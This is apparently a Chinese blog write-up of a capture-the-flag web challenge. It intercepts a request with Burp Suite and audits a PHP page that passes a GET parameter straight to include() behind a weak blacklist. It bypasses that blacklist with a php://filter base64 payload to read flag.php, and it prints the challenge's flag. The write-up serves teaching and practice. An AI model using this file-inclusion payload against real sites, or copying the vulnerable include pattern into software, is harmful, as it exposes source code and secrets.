

SECRET

https://blog.csdn.net/weixin_43919144

点击下方按钮发现跳转到了一个页面

查阅结束

没看清么？回去再仔细看看吧。

https://blog.csdn.net/weixin_43919144

猜测应该是要抓包，上

burpsuite

抓包后放入repeater Go一下得到又一个网址

Request

Raw Headers Hex

```
GET /action.php HTTP/1.1
Host: 05ddca91-caad-4d29-be11-eb08efa2fd1e.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://05ddca91-caad-4d29-be11-eb08efa2fd1e.node3.buuoj.cn/Archive_room.php
Jpgrade-Insecure-Requests: 1
```

Response

Raw Headers Hex HTML Render

```
HTTP/1.1 302 Found
Server: openresty
Date: Mon, 20 Apr 2020 01:44:08 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 63
Connection: close
Location: end.php
X-Powered-By: PHP/7.3.11

<!DOCTYPE html>

<html>
<!--
  secr3t.php
-->
</html>
```

https://blog.csdn.net/weixin_43919144

得到一串代码

```

<html>
  <title>secret</title>
  <meta charset="UTF-8">
<?php
  highlight_file(__FILE__);
  error_reporting(0);
  $file=$_GET['file'];
  if(strstr($file,"../")||strstr($file,"tp")||strstr($file,"input")||strstr($file,"data")){
    echo "Oh no!";
    exit();
  }
  include($file);
//fLag放在了fLag.php里
?>
</html>

```

开始审计代码，发现并不复杂，如果file中匹配到了“../”或者“tp”或者“input”或者“data”的时候会输出 OH NO，这些ban掉的符号和单词并没有包括“php”，所以我们可以用那个文件包含漏洞

```
?file=php://filter/read=convert.base64-encode/resource=flag.php
```

这样我们可以得到用base64加密的文本

https://blog.csdn.net/weixin_43919144

tips: 把这串字符串提取的时候可以用F12查看器中提取，不然字符串很长一直往右拖很不方便容易漏字符。

最终我们将这个字符串送去解密，获取flag

```

<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
  <?php
  echo "æ±ä°±ä¼·è¿é";
  $flag = 'flag{1d8231f9-2ab2-4123-ba58-f817c4350eb4}';
  $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>

```

ps: 若有不足之处，欢迎

大家斧正交流，感谢观看！